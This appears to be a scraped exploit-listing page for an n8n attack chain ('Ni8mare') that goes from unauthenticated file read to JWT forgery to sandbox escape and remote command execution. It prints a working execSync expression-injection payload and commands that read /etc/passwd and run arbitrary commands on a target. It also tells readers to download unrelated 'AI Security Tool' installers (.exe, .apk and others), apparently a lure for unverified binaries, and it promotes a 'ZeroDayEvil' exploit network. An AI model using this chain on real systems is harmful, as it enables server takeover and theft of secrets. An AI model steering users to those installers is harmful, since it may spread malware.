## https://sploitus.com/exploit?id=B8999BFA-BF67-513C-AA37-7ADE8D43C0DA
#
🛡️ AI Security Tool Module
n8n Full Chain (CVE-2026-21858 + CVE-2025-68613) — "Ni8mare"
Official Security Audit Module for AI Security Tool Ecosystem
🌐 Web Demo •
📚 Project Website •
💬 Community Chat
Website Navigation:
Home •
Updates •
Downloads •
Modules
🧠 Conceptual Overview
This module provides diagnostic tools and a complete exploitation chain for n8n workflow automation instances, dubbed Ni8mare.
The attack chain combines an unauthenticated Arbitrary File Read (CVE-2026-21858) caused by Content-Type confusion with an authenticated Expression Injection Sandbox Bypass (CVE-2025-68613). By sending a manipulated Content-Type: application/json request to an exposed file upload form, an attacker controls the filepath argument to read internal system files (/proc/self/environ, configuration, and SQLite DB). The retrieved encryptionKey and password hash allow offline forgery of an administrator JWT cookie. Once authenticated, expression injection via this.process.mainModule.require escapes the JavaScript sandbox to execute arbitrary system commands.
🎯 Core Impact Philosophy
"From file read to full system takeover in three steps."
While the file read requires an active form workflow with binary output, expression injection works reliably on default n8n installations without requiring special nodes or explicit system permissions enabled.
📊 Vulnerability Specifications
Specification
Assigned Value
Notes
CVE Identifiers
CVE-2026-21858 + CVE-2025-68613
Full Chain: Unauthenticated File Read to RCE
Severity Rating
Critical (CVSS v3.1: 10.0 + 9.9)
Unauthenticated RCE chain
Vulnerability Types
CWE-200 / CWE-94
Content-Type Confusion / Code Injection
Affected Component
n8n Workflow Automation Engine
Versions <= 1.65.0 (AFR) / >= 0.211.0 (RCE)
Patched Versions
1.121.0 (AFR) / 1.120.4+ (RCE)
Official vendor patches released
Privileges Required
None
Unauthenticated initial access via public form
🕸 Attack Scenario & Architecture
graph TD
A[Unauthenticated Attacker] -->|1. Content-Type Confusion| B[Vulnerable Form Endpoint]
B -->|2. Arbitrary File Read| C[Extract /proc/self/environ & database.sqlite]
C -->|3. Derive Secret & Hash| D[Forge Admin JWT Cookie]
D -->|4. Authenticate as Admin| E[n8n Workflow Engine]
E -->|5. Expression Injection Payload| F[Sandbox Escape via mainModule.require]
F -->|6. Execute Command| G[Full Remote Code Execution]
💻 Expression Injection Payload
={{ (function() {
var require = this.process.mainModule.require;
var execSync = require("child_process").execSync;
return execSync("id").toString();
})() }}
🛡 Mitigation Checklist
🟢 Upgrade Immediately: Update n8n instances to version 1.121.0 or higher.
🟢 Restrict Workflow Triggers: Disable public unauthenticated form workflows or enforce strict file validation.
🟡 Configure Execution Restrictions: Set N8N_ENFORCE_SETTINGS_FILE_PERMISSIONS=true and restrict process capabilities in Docker containers.
💻 How to Run this Module
⚠️ IMPORTANT: This module is built specifically for safe execution and diagnostics within the AI Security Tool ecosystem. Always use verified modules sourced from official repositories.
1️⃣ Install AI Security Tool
To execute the monitoring and diagnostic scripts, ensure the AI Security Tool core engine is installed:
OS / Platform
Version
Architecture / Format
Release Date
Status
Download Link
🪟 Windows
v6.3.20
x64 Installer (.exe)
2026-09-08
🟢 Latest
Download .exe
🪟 Windows
v6.3.20
x64 Portable (.tar.gz)
2026-09-08
🟢 Latest
Download .tar.gz
🍏 macOS
v5.3.29
Apple Silicon M1/M2/M3 (.dmg)
2026-09-05
🟢 Stable
Download .dmg
🐧 Linux
v5.3.27
Universal x64 (.tar.gz)
2026-09-01
🟢 Stable
Download .tar.gz
🤖 Android
v8a 5.3.27
ARM64 APK (.apk)
2026-09-01
🟢 Stable
Download .apk
2️⃣ Console Execution
# Read arbitrary file via diagnostic module
uv run python exploit.py http://localhost:5678 /form/vulnerable-form --read /etc/passwd
# Execute full attack chain with custom command
uv run python exploit.py http://localhost:5678 /form/vulnerable-form --cmd "id"
🔍 Security Audit Modules & PoC Repositories
Vulnerability scanner modules, PoC scripts, and research repos maintained by our community:
🔥 Remote Code Execution (RCE) & Network Vulns 5 modules
CVE-2026-21858 — n8n Full Chain Unauthenticated RCE (Ni8mare)
@ZeroDayEvil
CVE-2026-41089 — Netlogon Remote Code Execution Exploit
@ZeroDayEvil
CVE-2026-20805 — Windows Remote Code Execution Proof-of-Concept
@ZeroDayEvil
CVE-2026-41096 — Critical RCE Vulnerability Scanner Module
@ZeroDayEvil
CVE-2026-24291 — Network Protocol Remote Code Execution
@ZeroDayVPN
🛡️ Privilege Escalation (EoP) & Services 3 modules
CVE-2026-54121 — AD CS Certighost Domain Controller Impersonation
@ZeroDayEvil
CVE-2026-66804 — CrossDevice Service Elevation of Privilege
@ZeroDayVPN
CVE-2026-50416 — Local Privilege Escalation Writeup & PoC
@ZeroDayEvil
📚 Vulnerability Research & Writeups 2 modules
CVE-2026-42978 — Deep Technical Analysis & PoC Research
@ZeroDayEvil
CVE-2026-83991 — Full WriteUp & Exploitation Demonstration
@ZeroDayVPN
⚖️ License & Legal Disclaimer
🚨 Disclaimer
This tool and technical analysis are provided strictly for authorized system auditing, research, and penetration testing.
Executing exploit chains against unauthorized targets is illegal. The authors assume no responsibility for unauthorized access, data loss, or system disruptions. Operate strictly within an authorized scope.
🔄 Contribution & Community
We welcome contributions from the security research community! Primary contribution areas:
AI Integrations: Adding new LLM providers and developing specialized security agents.
Security Tools: Developing vulnerability modules and integrating CLI scanners.
Optimization: Enhancing parser speed, execution safety, and caching logic.
Documentation: Writing research papers, guides, and localized translations.
🔗 Contact & Support
Official Website: ZeroDayEvil.com
Original Research: Cyera Ni8mare Write-up
Telegram Admin: @ZeroDayEvil
Telegram Chat: @ZeroDyaTool_chat
Telegram Channel: @ZeroDyaTool_channel
Sponsor Project: PayPal Donations
Open Collective: opencollective.com/ZeroDayEvil
AI Security Tool — Reimagining terminal workflow and automation for cybersecurity professionals.